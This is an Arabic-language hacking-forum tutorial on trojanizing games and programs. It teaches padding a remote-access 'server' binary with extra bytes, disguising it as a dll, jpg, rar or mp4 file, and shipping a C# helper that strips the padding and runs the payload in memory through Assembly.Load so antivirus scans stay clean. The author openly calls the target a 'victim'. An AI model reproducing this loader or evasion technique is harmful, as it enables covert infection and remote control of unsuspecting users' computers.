10.05.2017 Add Offests


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
لاحظوا ان فتحت مثلا قيم سيرفري باي محرر هكس


تمام خلنا نزيد 2 اوفيست ببداية الملف
رح يصير بشكله الحالي


اي شي زيد مش مهم ايش اللي زدته
طيب هل سيعمل .؟ لان لن يعمل بالتاكيد
فكرتي هي كالتالي
كلنا ان نريد التلغيم فرح نلغم اكيد ب برنامج او لعبة مافي حل ثالث اعتقد
يعني مستحيل ترسل لضحيتك سيرفر يشغله ومايصير شيء
رح يشك يفرمت ويعمل مليون قصة
دام ان الامر هكذا واعتمادا على موضوعي هنا
تلغيم الالعاب والبرامج
بدون فكرة موضوعي انه يتم تقسيم السيرفر لملفين
لا بدون تقسيم السيرفر نفسه بس نضيف في اوله ماشئنا من عدد الاوفستات
"مش شرط 2" ممكن "100000000"
طيب بعد مانضيفه له مارح يشتغل مثل ماقلنا
نحنا بحاجة ملف مساعد
نخلي سيرفر اللي اضفنا عليه الاوفستات باي امتداد تريده dll,dat,rar,jpg,mp4
البدك اياه وعشان الحجم انه كيف rar,mp4 الخ وحجمه كم كيلو
انا شرحت لكم بالموضوع السابق الخاص بتلغيم الالعاب والبرامج كيف تزيد
حجم اي ملف من خلال الهكس
لذلك شوفه تكرما
وان عشان كيف نشغل الملف من ضمن ملفات اللعبة
كمان هنالك شرحت وتعبت وكتبت مااريد اعيد كلامي
شوف الموضوع تكرما
المهم نحنا بحاجة ملف مساعد يقرا لنا اوفستات السيرفر الاصلية بدون الزيادة
رح اشرح الكود مع انني شرحت اغلبه هنالك
بس هنا افكار جديدة



C#:
var file = Directory.GetCurrentDirectory();
            var bb = File.ReadAllBytes(Path.Combine(file, "k.dll"));
خليناه يتعرف على المسار اللي فيه الملف يعني وين محاطط الضحية المجلد
الخاص باللعبه البرنامج بيجيبه
ومن ثم قلنا عرف لنا متغير ك مصفوفة بايت
وشرحت قبل ان var بالسي شارب بتعرف لحالها ايش نوع المتغير
حسب المساواة وهنا عندنا ReadAllBytes فيعني هيه مصفوفة بايت

C#:
System.Reflection.Assembly.Load(hh(bb)).EntryPoint.Invoke(null, null);
نقطة ادخال كالعادة بس ايش هيه hh
هيه فنكشن كتبتها

C#:
static byte[] hh(byte[] bb)
        {
            var test2 = new byte[16896];
            Array.Copy(bb, 2, test2, 0, test2.Length);
            return test2;
        }
مهمتها تقرا مصفوفة بايت وتخزنها لك بمصفوفة اخرى من دون الزيادة السويناها
وهي المصفوفة اللي رح تشتغل ورح تشتغل بالذاكرة "مارح يتم كتابة على الهارد ابدا"
فينك تشوف الفديو وتتاكد ..
يعني التشفير للسيرفر الخام اللي صار بالموضوع هوة RunTime
طيب ايش هذا الرقم 16896 هذا ياطويل العمر طول المصفوفة lenght الخاص بها
طيب كيف نجيبه "شوف الفديو تعرف كيف"
نجيبه من خلال فايل انفو لينغث

C#:
Int64 i = new FileInfo(file).Length;
File.AppendAllText(@"D:\lenght.txt", i.ToString());
طيب هو من نوع انتجر64
نعمل WriteAllText او ابيند بيمشي حالها كمان
منكتب طول المصفوفة بمستند نصي ومنحولها ل سترينج لانها مثل ماقلنا مش سترينج
وبذلك منجيب طول المصفوفة اللينغث تبعها
بس لمنو لاي ملف .؟للملف اللي عدلنا عليه واضفنا له اوفستات
مثلا لنفرض انه طلع 16898
مثل مطلع معي بس ليش كتبته 16896
لان لازم انني انقص منه عدد الاوفستات اللي اضفتها
او من الاخير خذ طول المصفوفة للملف الاصلي واخلص من القصة هذه :15:
بدون ماتنقص ولاتزيد بس انا بحب اتسلى شوي لهيك عملت هالحركة بالفديو :110:
ايه وين كنا وبس خلصنا شرحت لكم الكود وفصفصته وشوف الفديو ولاتتعقد من الكلام هذا
في الشرح تم زيادة فقط 2 اوفست وفي اول الملف
التجربة على سيرفر خام
فقط باضافة 2 اوفست ببداية الملف بدون اضافات في dna الملف نفسه
ممكن انك تزيد الاف وفي الاول والوسط والاخير النتيجة كلين :15:
الفديو بالمرفقات​
 

المرفقات

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك